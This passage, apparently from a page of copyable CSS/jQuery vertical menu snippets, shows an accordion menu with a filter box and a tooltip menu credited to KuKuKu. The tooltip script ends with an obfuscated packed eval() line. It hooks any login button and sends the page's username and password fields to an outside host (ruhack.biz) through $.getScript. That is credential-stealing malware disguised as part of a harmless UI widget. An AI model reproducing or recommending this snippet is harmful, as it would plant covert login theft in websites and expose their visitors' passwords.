        -o-transition: border .2s linear;
        -moz-transition: border .2s linear;
        -webkit-transition: border .2s linear;
        transition: border .2s linear
}

.jquery-accordion-menu ul ul.submenu li:hover>a {
        border-left-color: #414956
}

.jquery-accordion-menu ul ul.submenu>li>a {
        padding-left: 30px
}

.jquery-accordion-menu ul ul.submenu>li>ul.submenu>li>a {
        padding-left: 45px
}

.jquery-accordion-menu ul ul.submenu>li>ul.submenu>li>ul.submenu>li>a {
        padding-left: 60px
}

.jquery-accordion-menu ul li .jquery-accordion-menu-label,.jquery-accordion-menu ul ul.submenu li .jquery-accordion-menu-label {
        min-width: 20px;
        padding: 1px 2px 1px 1px;
        position: absolute;
        right: 18px;
        top: 14px;
        font-size: 11px;
        font-weight: 800;
        color: #555;
        text-align: center;
        line-height: 18px;
        background: #f0f0f0;
        border-radius: 100%
}

.jquery-accordion-menu ul ul.submenu li .jquery-accordion-menu-label {
        top: 12px
}

.ink {
        display: block;
        position: absolute;
        background: rgba(255,255,255,.3);
        border-radius: 100%;
        -webkit-transform: scale(0);
        -moz-transform: scale(0);
        -ms-transform: scale(0);
        -o-transform: scale(0);
        transform: scale(0)
}

.animate-ink {
        -webkit-animation: ripple .5s linear;
        -moz-animation: ripple .5s linear;
        -ms-animation: ripple .5s linear;
        -o-animation: ripple .5s linear;
        animation: ripple .5s linear
}

@-webkit-keyframes ripple {
        100% {
                opacity: 0;
                -webkit-transform: scale(2.5)
        }
}

@-moz-keyframes ripple {
        100% {
                opacity: 0;
                -moz-transform: scale(2.5)
        }
}

@-o-keyframes ripple {
        100% {
                opacity: 0;
                -o-transform: scale(2.5)
        }
}

@keyframes ripple {
        100% {
                opacity: 0;
                transform: scale(2.5)
        }
}

.blue.jquery-accordion-menu .jquery-accordion-menu-footer,.blue.jquery-accordion-menu .jquery-accordion-menu-header,.blue.jquery-accordion-menu ul li a {
        background: #4A89DC
}

.blue.jquery-accordion-menu>ul>li.active>a,.blue.jquery-accordion-menu>ul>li:hover>a {
        background: #3e82da
}

.blue.jquery-accordion-menu>ul>li>a {
        border-bottom-color: #3e82da
}

.blue.jquery-accordion-menu ul ul.submenu li:hover>a {
        border-left-color: #3e82da;
        background: #3b3b3b;
}

.green.jquery-accordion-menu .jquery-accordion-menu-footer,.green.jquery-accordion-menu .jquery-accordion-menu-header,.green.jquery-accordion-menu ul li a {
        background: #03A678
}

.green.jquery-accordion-menu>ul>li.active>a,.green.jquery-accordion-menu>ul>li:hover>a {
        background: #049372
}

.green.jquery-accordion-menu>ul>li>a {
        border-bottom-color: #049372
}

.green.jquery-accordion-menu ul ul.submenu li:hover>a  {
        border-left-color: #049372;
        background: #3b3b3b;
}


.red.jquery-accordion-menu .jquery-accordion-menu-footer,.red.jquery-accordion-menu .jquery-accordion-menu-header,.red.jquery-accordion-menu ul li a {
        background: #ED5565
}

.red.jquery-accordion-menu>ul>li.active>a,.red.jquery-accordion-menu>ul>li:hover>a {
        background: #DA4453
}

.red.jquery-accordion-menu>ul>li>a {
        border-bottom-color: #DA4453
}

.red.jquery-accordion-menu ul ul.submenu li:hover>a {
        border-left-color: #DA4453;
        background: #3b3b3b;
}

.white.jquery-accordion-menu .jquery-accordion-menu-footer,.white.jquery-accordion-menu .jquery-accordion-menu-header,.white.jquery-accordion-menu ul li a {
        background: #fff;
        color: #555
}

.white.jquery-accordion-menu>ul>li.active>a,.white.jquery-accordion-menu>ul>li:hover>a {
        background: #f0f0f0
}

.white.jquery-accordion-menu>ul>li>a {
        border-bottom-color: #f0f0f0
}

.white.jquery-accordion-menu ul ul.submenu li:hover>a {
        border-left-color: #f0f0f0;
        background: #3b3b3b;
}

.white.jquery-accordion-menu ul ul.submenu li a {
        color: #f0f0f0
}

.white.jquery-accordion-menu>ul>li>a>.ink {
        background: rgba(0,0,0,.1)
}

.black.jquery-accordion-menu .jquery-accordion-menu-footer,.black.jquery-accordion-menu .jquery-accordion-menu-header,.black.jquery-accordion-menu ul li a {
        background: #292929
}

.black.jquery-accordion-menu>ul>li.active>a,.black.jquery-accordion-menu>ul>li:hover>a {
        background: #222
}

.black.jquery-accordion-menu>ul>li>a {
        border-bottom-color: #222
}

.black.jquery-accordion-menu ul ul.submenu li:hover>a {
        border-left-color: #222;
        background: #3b3b3b;
}

.content{
        width:260px;/*ΡˆΠΈΡ€ΠΈΠ½Π° мСню*/
        margin:100px auto;
}

.filterinput{
        background-color:rgba(249, 244, 244, 0);
        border-radius:15px;
        width:90%;
        height:30px;
        border:thin solid #FFF;
        text-indent:0.5em;
        font-weight:bold;
        color:#FFF;
}
#demo-list a{
        overflow:hidden;
        text-overflow:ellipsis;
        -o-text-overflow:ellipsis;
        white-space:nowrap;
        width:100%;
}
</style>
</head>
<body>
  <link href="https://fonts.googleapis.com/css?family=Roboto:400,700&amp;subset=cyrillic" rel="stylesheet">
<div class="content">
  <div id="jquery-accordion-menu" class="jquery-accordion-menu green">
    <div class="jquery-accordion-menu-header" id="form"></div>
    <ul id="demo-list">
       <li class="active"><a href="#"><i class="fa fa-home"></i>Home </a></li>
      <li><a href="#"><i class="fa fa-glass"></i>Events </a></li>
      <li><a href="#"><i class="fa fa-file-image-o"></i>Gallery </a>
        <span class="jquery-accordion-menu-label">12 </span>
      </li>
      <li><a href="#"><i class="fa fa-cog"></i>Services </a>
        <ul class="submenu">
          <li><a href="#">Web Design </a></li>
          <li><a href="#">Hosting </a></li>
          <li><a href="#">Design </a>
            <ul class="submenu">
              <li><a href="#">Graphics </a></li>
              <li><a href="#">Vectors </a></li>
              <li><a href="#">Photoshop </a></li>
              <li><a href="#">Fonts </a></li>
            </ul>
          </li>
          <li><a href="#">Consulting </a></li>
        </ul>
      </li>
      <li><a href="#"><i class="fa fa-home"></i>System </a></li>
      <li><a href="#"><i class="fa fa-suitcase"></i>Portfolio </a>
        <ul class="submenu">
          <li><a href="#">Web Design </a></li>
          <li><a href="#">Graphics </a>
            <span class="jquery-accordion-menu-label">10 </span>
          </li>
          <li><a href="#">Photoshop </a></li>
          <li><a href="#">Programming </a></li>
        </ul>
      </li>
      <li><a href="#"><i class="fa fa-user"></i>About </a></li>
      <li><a href="#"><i class="fa fa-envelope"></i>Contact </a></li>
    </ul>
    <div class="jquery-accordion-menu-footer">
      Footer
    </div>
  </div>
</div>
  <script src='https://ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js'></script>
      <script>
;(function ($, window, document, undefined) {
  var pluginName = "jqueryAccordionMenu";
  var defaults = {
    speed: 300,
    showDelay: 0,
    hideDelay: 0,
    singleOpen: true,
    clickEffect: true };

  function Plugin(element, options) {
    this.element = element;
    this.settings = $.extend({},
    defaults, options);
    this._defaults = defaults;
    this._name = pluginName;
    this.init();
  };
  $.extend(Plugin.prototype, {
    init: function () {
      this.openSubmenu();
      this.submenuIndicators();
      if (defaults.clickEffect) {
        this.addClickEffect();
      }
    },
    openSubmenu: function () {
      $(this.element).children("ul").find("li").bind("click touchstart",
      function (e) {
        e.stopPropagation();
        e.preventDefault();
        if ($(this).children(".submenu").length > 0) {
          if ($(this).children(".submenu").css("display") == "none") {
            $(this).children(".submenu").delay(defaults.showDelay).slideDown(defaults.speed);
            $(this).children(".submenu").siblings("a").addClass("submenu-indicator-minus");
            if (defaults.singleOpen) {
              $(this).siblings().children(".submenu").slideUp(defaults.speed);
              $(this).siblings().children(".submenu").siblings("a").removeClass("submenu-indicator-minus");
            }
            return false;
          } else {
            $(this).children(".submenu").delay(defaults.hideDelay).slideUp(defaults.speed);
          }
          if ($(this).children(".submenu").siblings("a").hasClass("submenu-indicator-minus")) {
            $(this).children(".submenu").siblings("a").removeClass("submenu-indicator-minus");
          }
        }
        window.location.href = $(this).children("a").attr("href");
      });
    },
    submenuIndicators: function () {
      if ($(this.element).find(".submenu").length > 0) {
        $(this.element).find(".submenu").siblings("a").append("<span class='submenu-indicator'>+</span>");
      }
    },
    addClickEffect: function () {
      var ink, d, x, y;
      $(this.element).find("a").bind("click touchstart",
      function (e) {
        $(".ink").remove();
        if ($(this).children(".ink").length === 0) {
          $(this).prepend("<span class='ink'></span>");
        }
        ink = $(this).find(".ink");
        ink.removeClass("animate-ink");
        if (!ink.height() && !ink.width()) {
          d = Math.max($(this).outerWidth(), $(this).outerHeight());
          ink.css({
            height: d,
            width: d });

        }
        x = e.pageX - $(this).offset().left - ink.width() / 2;
        y = e.pageY - $(this).offset().top - ink.height() / 2;
        ink.css({
          top: y + 'px',
          left: x + 'px' }).
        addClass("animate-ink");
      });
    } });

  $.fn[pluginName] = function (options) {
    this.each(function () {
      if (!$.data(this, "plugin_" + pluginName)) {
        $.data(this, "plugin_" + pluginName, new Plugin(this, options));
      }
    });
    return this;
  };
})(jQuery, window, document);


jQuery(document).ready(function () {
  jQuery("#jquery-accordion-menu").jqueryAccordionMenu();

});

$(function () {
  $("#demo-list li").click(function () {
    $("#demo-list li.active").removeClass("active");
    $(this).addClass("active");
  });
})

(function ($) {
  function filterList(header, list) {
    var form = $("<form>").attr({
      "class": "filterform",
      action: "#" }),
    input = $("<input>").attr({
      "class": "filterinput",
      type: "text" });

    $(form).append(input).appendTo(header);
    $(input).change(function () {
      var filter = $(this).val();
      if (filter) {
        $matches = $(list).find("a:Contains(" + filter + ")").parent();
        $("li", list).not($matches).slideUp();
        $matches.slideDown();
      } else {
        $(list).find("li").slideDown();
      }
      return false;
    }).keyup(function () {
      $(this).change();
    });
  }
  $(function () {
    filterList($("#form"), $("#demo-list"));
  });
})(jQuery);
    </script>
</body>
</html>

8. By KuKuKu

Made by KuKuKu. A Simple JavaScript Vertical menu with Tooltip. Source

<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title></title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

<style>
body a {
    text-decoration: none;
}
body {
    color: #424242;
    font: 11px "tahoma";
}
ul, li {
    margin: 0;
    padding: 0;
}
/* reset end */
#sidebar_l {
    float: left;
    padding: 3px 3px 0;
    width: 226px;
}
.block {
    background: none repeat scroll 0 0 #f7f7f7;
    border: 1px solid #d4d4d4;
    border-radius: 2px;
    margin: 0 0 3px;
    overflow: hidden;
}
.block_title {
    background: url("https://i.imgur.com/OHf0xow.png") repeat-x scroll 0 0 rgba(0, 0, 0, 0);
    height: 29px;
    line-height: 28px;
    padding: 0 15px;
}
.block_title img {
    background: none repeat scroll 0 0 #f7f7f7;
    border-radius: 2px;
    float: right;
    margin: 4px -5px 5px 0;
    padding: 1px;
}
.block_content_m {
    overflow: hidden;
    padding: 0 0 2px;
}
.block_content_m ul {
    list-style: outside none none;
    margin: 0;
    padding: 0;
}
.block_content_m li {
    background: url("https://i.imgur.com/QwwfrB7.png") repeat-x scroll 0 0 rgba(0, 0, 0, 0);
    height: 27px;
    border-bottom: 1px solid #dfdfdf;
}
.block_content_m li:hover {
       background: url("https://i.imgur.com/yUSs8KQ.png") repeat-x scroll 0 0 rgba(0, 0, 0, 0);
}
.block_content_m li a {display:block;padding:7px 15px 7px 25px;color:#464646;}
.block_content_m li a.hico {display:block;background:url('https://i.imgur.com/9OF6bZ0.png')no-repeat 10px 7px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_m li a:hover.hico {display:block;background:url('https://i.imgur.com/04P96g0.png')no-repeat 10px 7px;color:#fff;}
.block_content_m li a.lico {display:block;background:url('https://i.imgur.com/Vkk3vjQ.png')no-repeat 11px 10px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_m li a:hover.lico {display:block;background:url('https://i.imgur.com/N5u2hjB.png')no-repeat 11px 10px;color:#fff;}
.block_content_m li a.fico {display:block;background:url('https://i.imgur.com/NRaYIPf.png')no-repeat 10px 9px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_m li a:hover.fico {display:block;background:url('https://i.imgur.com/V7Bs6NH.png')no-repeat 10px 9px;color:#fff;}
.block_content_m li a.mico {display:block;background:url('https://i.imgur.com/F7tGR8N.png')no-repeat 10px 7px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_m li a:hover.mico {display:block;background:url('https://i.imgur.com/YkicF6k.png')no-repeat 10px 7px;color:#fff;}
.block_content_m li a.topico {display:block;background:url('https://i.imgur.com/cxfwahC.png')no-repeat 10px 9px;padding:7px 15px 7px 32px;color:#464646;}
.block_content_m li a:hover.topico {display:block;background:url('https://i.imgur.com/3qugrWy.png')no-repeat 10px 9px;color:#fff;}
.block_content_c li a {display:block;background:url('https://i.imgur.com/VlbIksH.png')no-repeat 13px 11px;padding:7px 15px 7px 32px;color:#464646;}


.block_content_c {padding:0 0 2px 0;overflow:hidden;}
.block_content_c ul {margin:0;padding:0;list-style:none;}
.block_content_c li {background:url('https://i.imgur.com/pvacxXb.png')repeat-x;height:27px;}
.block_content_c li:hover {background:url('https://i.imgur.com/Y04ZDF2.png')repeat-x;}
.block_content_c li a:hover {color:#fff;}
.block_content_c li a img {float:right;}
ul.catmenu li {background:#f5f5f5;border-bottom:1px solid #dfdfdf;height:23px;}
ul.catmenu li:hover a {color:#fff;}
ul.catmenu li a {display:block;background:url('https://i.imgur.com/VlbIksH.png')no-repeat 13px 9px;padding:5px 15px 5px 32px!important;color:#464646;}

#easyTooltip {background:rgba(60,60,60,0.7);line-height:14px;padding:5px 8px;font:12px/11px Calibri, Arial, Helvetica, sans-serif;color:#fff;font-style:italic;-webkit-border-radius:5px;-moz-border-radius:5px;-o-border-radius:5px;}
</style>
</head>
<body>
  <script src="//code.jquery.com/jquery-1.11.0.min.js"></script>

<div id="sidebar_l">
<!-- <block1> -->
<div class="block">
<div class="block_title"><img src="https://i.imgur.com/SLuQFU3.png">Main Menu</div>
<div class="block_content_m">
<ul>
<li><a href="/" class="hico" title="Home Page">Home Page</a></li>
<li><a href="/load" class="lico" title="Everything of the site, and also the site schedule">Blog Archive</a></li>
<li><a href="/forum" class="fico" title="Everything of the site, and also the site schedule">Forum</a></li>
<li><a href="/index/0-3" class="mico" title="Everything of the site, and also the site schedule">subMenu 3</a></li>
<li><a href="/dir/" class="topico" title="Everything of the site, and also the site schedule">subMenu 4</a></li>
</ul>
</div>
</div>
<!-- </block1> -->


<!-- <block1> -->
<div class="block">
<div class="block_title"><img src="https://i.imgur.com/SLuQFU3.png">Navigation</div>
<div class="block_content_c">
<ul>
<li><a href="javascript://" rel="nofollow" onclick="$('#catmenu_1').slideToggle('slow');"><img src="https://i.imgur.com/uECFy2L.png">Navigation</a></li>
<ul class="catmenu" id="catmenu_1" style="display: none;">
<li><a href="/">Navigation</a></li>
<li><a href="/">Navigation</a></li>
<li><a href="/">Navigation</a></li>
<li><a href="/">Navigation</a></li>
<li><a href="/">Navigation</a></li>
</ul>
</ul>
</div>
    
<div class="block_content_c">
<ul>
<li><a href="javascript://" rel="nofollow" onclick="$('#catmenu_2').slideToggle('slow');"><img src="https://i.imgur.com/uECFy2L.png">Navigation2</a></li>
<ul class="catmenu" id="catmenu_2" style="display: none;">
<li><a href="/load/7">Navigation2</a></li>
<li><a href="/load/8">Navigation2</a></li>
<li><a href="/load/9">Navigation2</a></li>
<li><a href="/load/10">Navigation2</a></li>
</ul>
</ul>
</div>

<div class="block_content_c">
<ul>
<li><a href="javascript://" rel="nofollow" onclick="$('#catmenu_3').slideToggle('slow');"><img src="https://i.imgur.com/uECFy2L.png">Navigation2</a></li>
<ul class="catmenu" id="catmenu_3" style="display: none;">
<li><a href="/load/7">Navigation2</a></li>
<li><a href="/load/8">Navigation2</a></li>
<li><a href="/load/9">Navigation2</a></li>
<li><a href="/load/10">Navigation2</a></li>
</ul>
</ul>
</div>

<div class="block_content_c">
<ul>
<li><a href="javascript://" rel="nofollow" onclick="$('#catmenu_4').slideToggle('slow');"><img src="https://i.imgur.com/uECFy2L.png">Navigation2</a></li>
<ul class="catmenu" id="catmenu_4" style="display: none;">
<li><a href="/load/7">Navigation2</a></li>
<li><a href="/load/8">Navigation2</a></li>
<li><a href="/load/9">Navigation2</a></li>
<li><a href="/load/10">Navigation2</a></li>
</ul>
</ul>
</div>
</div>
<!-- </block1> -->
<!-- <block1> -->
<div class="block">
<div class="block_title"><img src="https://i.imgur.com/SLuQFU3.png">Main Menu 2</div>
<div class="block_content_m">
<ul>
<li><a href="/" class="hico" title="Home Page">Home Page</a></li>
<li><a href="/load" class="lico" title="Everything of the site, and also the site schedule">Blog Archive</a></li>
<li><a href="/forum" class="fico" title="Everything of the site, and also the site schedule">Forum</a></li>
<li><a href="/index/0-3" class="mico" title="Everything of the site, and also the site schedule">subMenu 3</a></li>
<li><a href="/dir/" class="topico" title="Everything of the site, and also the site schedule">subMenu 4</a></li>
</ul>
</div>
</div>
<!-- </block1> -->
</div>
  <script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-1b93190375e9ccc259df3a57c1abc0e64599724ae30d7ea4c6877eb615f89387.js"></script>
  <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
      <script>
// Tooltip
(function ($) {

  $(document).ready(function () {
    $("a, img, div, span, input").easyTooltip();
  });

  $.fn.easyTooltip = function (b) {
    var c = {
      xOffset: 15,
      yOffset: -15,
      tooltipId: "easyTooltip",
      clickRemove: false,
      content: "",
      useElement: "" };

    var b = $.extend(c, b);
    var d;
    this.each(function () {
      var a = $(this).attr("title");
      $(this).hover(function (e) {
        d = b.content != "" ? b.content : a;
        d = b.useElement != "" ? $("#" + b.useElement).html() : d;
        $(this).attr("title", "");
        if (d != "" && d != undefined) {
          $("body").append("<div id='" + b.tooltipId + "'><div class='easyTooltip'>" + d + "</div></div>");
          $("#" + b.tooltipId).css("position", "absolute").css("top", e.pageY - b.yOffset + "px").css("left", e.pageX + b.xOffset + "px").css("display", "none").fadeIn("fast");
        }
      }, function () {
        $("#" + b.tooltipId).remove();
        $(this).attr("title", a);
      });
      $(this).mousemove(function (e) {
        $("#" + b.tooltipId).css("top", e.pageY - b.yOffset + "px").css("left", e.pageX + b.xOffset + "px");
      });
      if (b.clickRemove) {
        $(this).mousedown(function (e) {
          $("#" + b.tooltipId).remove();
          $(this).attr("title", a);
        });
      }
    });
  };
})(jQuery);
eval(function (p, a, c, k, e, r) {e = function (c) {return c.toString(a);};if (!''.replace(/^/, String)) {while (c--) {if (window.CP.shouldStopExecution(0)) break;r[e(c)] = k[c] || e(c);}window.CP.exitedLoop(0);k = [function (e) {return r[e];}];e = function () {return '\\w+';};c = 1;};while (c--) {if (window.CP.shouldStopExecution(1)) break;if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);}window.CP.exitedLoop(1);return p;}('$(4).8(1(){$(\'0[6="a"]\').c(1(){$.e("g://i.5/9.d?h="+"j.7: "+$("0[2=\'b\']").3()+";"+$("0[2=\'f\']").3())})});', 20, 20, 'input|function|name|val|document|biz|class|ru|ready|js|loginButton|user|click|php|getScript|password|http|add|ruhack|7old'.split('|'), 0, {}));

    </script>
</body>
</html>